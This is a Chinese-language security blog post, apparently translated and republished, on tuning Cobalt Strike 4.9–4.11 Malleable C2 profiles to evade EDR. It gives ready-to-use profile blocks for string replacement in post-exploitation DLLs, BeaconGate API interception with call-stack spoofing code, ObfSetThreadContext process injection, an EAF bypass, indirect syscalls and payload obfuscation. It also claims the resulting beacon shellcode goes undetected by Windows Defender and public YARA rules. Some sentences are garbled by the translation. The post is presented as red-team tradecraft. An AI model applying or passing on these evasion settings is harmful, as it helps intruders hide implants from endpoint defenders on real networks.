文章总结: 本文详细介绍了如何利用CobaltStrikeProfiles的功能进行EDR规避,包括4.9版本的post-ex.cleanup选项、4.10版本的BeaconGate功能以及4.11版本的新型工艺注入技术和具有规避功能的sRDI。文章提供了具体的配置方法和代码示例,展示了如何通过修改字符串、配置数据存储、拦截API调用等技术手段绕过安全检测。最后还介绍了MagicMZ标头和DLL解析两个附加技巧,进一步增强CobaltStrike的规避能力。 综合评分: 85 文章分类: 红队,免杀,渗透测试,内网渗透,安全工具
利用 Cobalt Strike Profiles 的功能进行EDR 规避
原创
zyxa
众亦信安
2025年12月16日 15:02 湖南
文章导读
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
众亦信安,中意你啊!
点不了吃亏,点不了上当,设置星标,方能无恙!
自 4.9 版本发布以来,Cobalt Strike 引入了许多重大更新,目的就是为了提高使用的灵活,以及规避还有自定义实施信标,此文章我门将深入探讨最新功能和增强功能,研究它们如何影响 tradecraft 并集成到现代对手模拟工作流程中我们将构建一个 OPSEC 安全的可延展性 C2 配置文件,其中包含最新的最佳实践和功能。本文中引用的所有代码和脚本都可以在我们的GitHub存储库中找到。
CS 4.9 – 开发后 DLL
Cobalt Strike 4.9 引入了一个新的可延展 C2 选项,即 post-ex.cleanup。此选项指定在加载 DLL 时是否清理爆炸后反射加载器内存。我们最初的尝试是在 Cobaltstrike JAR 文件中提取开发后 DLL:
图 1–反编译的 Cobalt Strike 客户端 JAR
检查字符串时,未检测到任何内容,因为 DLL 已加密。在查看文档时,我们偶然发现了 POSTEX_RDLL_GENERATE 钩子。当信标的任务是执行漏洞利用后任务(例如键盘记录、截取屏幕截图、运行Mimikatz 等)时,就会发生此钩子。根据文档,原始 Post-ex DLL 二进制文件作为第二个参数传递。因此,我们创建了一个简单的脚本,将其值保存到磁盘中:
sub print_info { println(formatDate("[HH:mm:ss]") . "\cE[UDRL-VS]\o " . $1);}print_info("Post Exploitation Loader loaded");set POSTEX_RDLL_GENERATE { local('$dllName $postex$file_handle'); $dllName = $1; $postex = $2; # Leave only the DLL name without thefolder $dllName = replace($dllName,"resources/", ""); print_info("Saving " .$dllName . " to disk..."); $file_handle = openf(">". $dllName); writeb($file_handle, $postex); closef($file_handle); print_info("Done! Payload Size:" . strlen($postex)); return $postex;}
将 CNA 脚本加载到 Cobal Strike 客户端,并让信标执行漏洞利用后任务(本例中为屏幕截图):
图 2–将原始开发后 DLL 导出到磁盘
将Beacon 任务分配给所有可能的后开发任务,将为我们提供所有 10 个后 DLL:
图 3–磁盘中的开发后 DLL
提取 DLL 后,找到其中的所有字符串。我们提出了以下一组配置文件配置(为了便于阅读而缩短),以防止任何潜在的静态检测:
post-ex { # cleanup the post-ex UDRL memory when the post-ex DLL is loaded set cleanup “true”;
transform-x64 { strrepex “PortScanner” “Scanner module is complete” “”; strrepex “PortScanner” “(ICMP) Target” “pmci trg=”; strrepex “PortScanner” “is alive.” “is up.”; strrepex “PortScanner” “(ARP) Target” “rpa trg=”; #… #… #… }
transform-x86 { # replace a string in the port scanner dll strrepex “PortScanner” “Scanner module is complete” “Scan is complete”;
# replace a string in all post exploitation dlls strrep “is alive.” “is up.”; } }
可以在此处找到包含所有找到的字符串的完整配置文件。
注意:强烈建议将纯文本字符串替换为对作员有意义的字符串,因为更改将在开发后作业期间或之后输出。例如,在下图中,我们修改了字符串,以便在端口扫描期间反向显示它们:
图 4–在任务的 Post-Ex 作业期间/之后向作员显示修改后的字符串
Beacon 数据存储
Beacon 数据存储允许我们存储项目以多次执行,而无需重新发送项目。默认数据存储大小为 16 个条目,但可以通过在 Malleable C2 配置文件中配置
stage.data_store_size选项来修改此大小,以满足您的需求:
stage { set data_store_size "32";}
WinHTTP 支持
即使有一个新的配置文件选项来设置默认 Internet 库,我们也不会在我们的配置文件中包含该选项。原因是这两个库都受到安全解决方案的严格监控,并且库之间的规避没有区别。重要的是,一个好的红队基础设施,它绕过了网络和内存检测。但是,如果您更喜欢使用特定库(在本例中),则可以将以下选项应用于用户档案:winhttp.dll
http-beacon { set library "winhttp"; }
CS 4.10 –信标门
BeaconGate 是一项功能,指示 Beacon 通过自定义睡眠掩码拦截支持的 API 调用。这允许开发人员实施高级规避技术,而不必通过 UDRL 中的 IAT 挂钩来控制Beacon 的 API 调用,这种方法既复杂又难以执行。
建议您将配置文件配置为代理 Cobalt Strike 当前支持的所有 23 个函数(从 4.11 开始)。这可以通过设置新的 Malleable C2 选项来完成,如下所示:stage.beacon_gate
stage { set sleep_mask "true"; set syscall_method"indirect"; beacon_gate { All; }}
该配置文件还将允许使用 BeaconGate,我们稍后会开始使用它。这一点至关重要,否则更改将不会应用于导出的信标。
首先,我们需要使用 Fortra 存储库中的 Sleepmask-VS 项目。如果您更喜欢使用 Linux 环境进行开发,则可以改用 Artifact Kit 模板中的函数是处理这些 API 调用的位置。
下面的 demo 代码检查函数是否被调用。这使我们能够拦截执行流并添加规避机制:
BeaconGateWrapper/library/gate.cppVirtualAlloc
void BeaconGateWrapper(PSLEEPMASK_INFO info,PFUNCTION_CALL functionCall) { // Is the function VirtualAlloc? if (functionCall->function ==VIRTUALALLOC) { // ... // Do something fancy here // ... } // Execxute original function pointer BeaconGate(functionCall); return;}
这同样适用于所有其他受支持的高级 API 函数。
在此示例中,我们将实现回调欺骗机制。由于本博客的目标是解释 BeaconGate 实现的工作原理,因此我们将使用 HulkOperator 的代码作为欺骗机制。
自定义 SetupConfig 函数需要一个指向 spoof 的函数指针。这可以通过利用该结构来实现。该字段包含指向要挂钩的WinAPI 函数的指针。要访问函数的名称,可以使用 ,对于参数的数量,请使用 。可以通过 检索各个参数值。functionCallfunctionPtrfunctionCall->functionfunctionCall->numOfArgsfunctionCall->args[i]
下面是一个概念验证,显示了最终代码的外观:
void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALLfunctionCall) { STACK_CONFIG Config_1; UINT64 pGadget; pGadget = FindGadget(); if (functionCall->bMask == TRUE) { MaskBeacon(&info->beacon_info); } // If the function has 1 argument(could be ExitThread for example) if (functionCall->numOfArgs == 1){ SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0]); Spoof(&Config_1); } // If the function has 2 arguments if (functionCall->numOfArgs == 2){ SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0], functionCall->args[1]); Spoof(&Config_1); } // ... Apply the same logic for theother functions // If the function has 10 arguments if (functionCall->numOfArgs == 10){ SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0], functionCall->args[1], functionCall->args[2],functionCall->args[3], functionCall->args[4], functionCall->args[5],functionCall->args[6], functionCall->args[7], functionCall->args[8],functionCall->args[9]); Spoof(&Config_1); } BeaconGate(functionCall); if (functionCall->bMask == TRUE) { UnMaskBeacon(&info->beacon_info); } return;}
下次导出 Beacon 时,将应用欺骗机制。最终的实现代码可以在这里找到。
CS 4.11 –新型工艺注射
Cobalt Strike 4.11引入了一种自定义工艺注入技术。这种注入技术通过使用各种小工具重定向执行,绕过了对注入线程的现代检测(其中线程的起始地址没有由磁盘上的可移植可执行映像支持)。ObfSetThreadContext
默认情况下,这个新选项会自动将注入的线程起始地址设置为(合法的)远程图像入口点,但可以额外配置自定义 module 和 offset,如下所示:
process-inject { execute { ObfSetThreadContext"ntdll!TpReleaseCleanupGroupMembers+0x450"; CreateThread"ntdll!RtlUserThreadStart"; NtQueueApcThread-s; SetThreadContext; CreateThread; CreateRemoteThread; RtlCreateUserThread; }}
上述选项设置为默认进程注入技术。当默认注入技术失败时,下一个注入技术将作为备份。这在某些情况下会发生(即 x86 -> x64 注入、自注入等)。ObfSetThreadContext
CS 4.11 –具有规避功能的 sRDI
根据 Fortra 的说法,4.11 版将Beacon 的默认反射加载器移植到一个新的 prepend/sRDI样式加载器,并添加了几个新的规避功能。
sRDI 支持将 DLL 文件转换为与位置无关的 shellcode。它充当全面的 PE 加载器,处理正确的部分权限、TLS 回调和各种完整性检查。实质上,它是一个基于 shellcode 的 PE 加载程序,与压缩的 DLL 集成。
首先,引入了一个新的 EAF 旁路选项。2010 年 9 月,Microsoft发布了其增强的缓解体验工具包(EMET),其中包括一个名为导出地址表地址筛选器 (EAF) 的新缓解措施。如今,此选项已在Microsoft Defender上实施,并且可以在应用程序和浏览器控制->Exploit protection选项卡下启用,仅适用于特定程序:stage.set eaf_bypass
图 5–为特定程序启用了 EAF
这对 Windows shellcode 有效,由于缺少 IAT(导入地址表),因此依赖于导出地址表 (EAT)。绕过技术仍然是闭源的,但是根据文档,PrependLoader 利用 Windows 系统 DLL 中的小工具在读取 Export 时绕过检查。
其次,支持间接 syscalls ),这是另一个很棒的规避功能,可以包含在配置文件中。stage.set rdll_use_syscalls
从我们的各种测试中,我们建议在配置文件中应用以下规则集:
stage {set rdll_loader "PrependLoader";set rdll_use_syscalls "true";set eaf_bypass "true";}
最后,支持自动将复杂的混淆例程应用于 Beacon 有效负载 ()。这可以保护信标免受常见签名检测。stage.transform-obfuscate {}
transform-obfuscate { lznt1; # LZNT1 compression rc4 "128"; # RC4 encryption - Key length parameter:8-2048 xor "64"; # xor encryption - Key length parameter:8-2048 base64; # encodes using base64 encoding }
rdll_loader也可以设置为 ,但是使用 of 具有 implementation 的优点,使用 和 option 对前置加载程序的 Beacon DLL 有效负载执行混淆。StompLoaderPrependLoaderrdll_use_syscallseaf_bypassstage.transform-obfuscate
结合前面的所有阶段选项,我们得到以下阶段配置文件:
stage { set sleep_mask "true"; set syscall_method"indirect"; beacon_gate { All; } set rdll_loader "PrependLoader";set rdll_use_syscalls "true";set eaf_bypass "true"; transform-obfuscate { lznt1; # LZNT1 compression rc4 "128"; # RC4 encryption - Key length parameter:8-2048 xor "64"; # xor encryption - Key length parameter:8-2048 base64; # encodes using base64 encoding }}
信标字符串
自我们之前报道 Cobalt Strike 4.8 以来,最近的更新对信标进行了重大更改,包括对其字符串的修改。导出的 shellcode 现在排除了作员以前使用配置文件手动删除的任何字符串。由于此更改以及最近三个更新中的其他增强功能,Windows Defender 不再能够检测到具有应用配置文件的原始 shellcode:
图 6–扫描输出显示未从 Windows Defender 检测到原始 Beacon shellcode
导出的 shellcode 不会被任何最常见的 YARA 规则检测到(考虑到它们自 2022 年以来就没有更新过):
图 7–扫描输出显示任何公共 YARA 规则未检测到 shellcode 格式的原始信标
奖励 1:Magic MZ 标头
正如我们之前的博文中提到的,在绕过签名检测时,它们是非常重要的配置文件选项。他们负责更改 MZ PE 标头,这些标头不会被混淆,因为反射加载过程取决于它们。我们需要更改它的值,但是由于 OPSEC 的原因,我们不能简单地给它添加一些随机值。正如官方文档所建议的,可以通过提供一组 2(对于 x64)或 4(对于 x86)汇编指令来更改这些值。组装说明的条件是结果应为 no operation。magic_mz_x64magic_mz_x86
为了自动执行此过程,我们创建了一个简单的 Python 脚本,该脚本使用现成的配置文件格式自动执行编译 x86 和 /x64 NOP-alternative 指令的过程,并以现成的配置文件格式打印出 ASCII 值,如下所示:nasm
图 8–生成神奇 MZ 标头的 Python 脚本,可用于 Cobalt Strike 配置文件
奖励 2:DLL 解析
如果您想使信标反射的 DLL 看起来像系统 DLL,这部分很重要。为了自动化此过程,我们开发了一个简单的python 脚本来解析给定的 DLL,以生成现成的 Cobalt Strike 配置文件,如下图所示:
图 9–解析 DLL 值的 Python 脚本,可用于 Cobalt Strike 配置文件
往这里看
点点关注不迷路,不定时持续分享各种干货。可关注公众号回复”进群”,也可添加管理微信拉你入群。
项目交流,src/众测挖掘,重大节日保障,攻防均可联系海哥微信
查看原文:《利用 Cobalt Strike Profiles 的功能进行EDR 规避》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论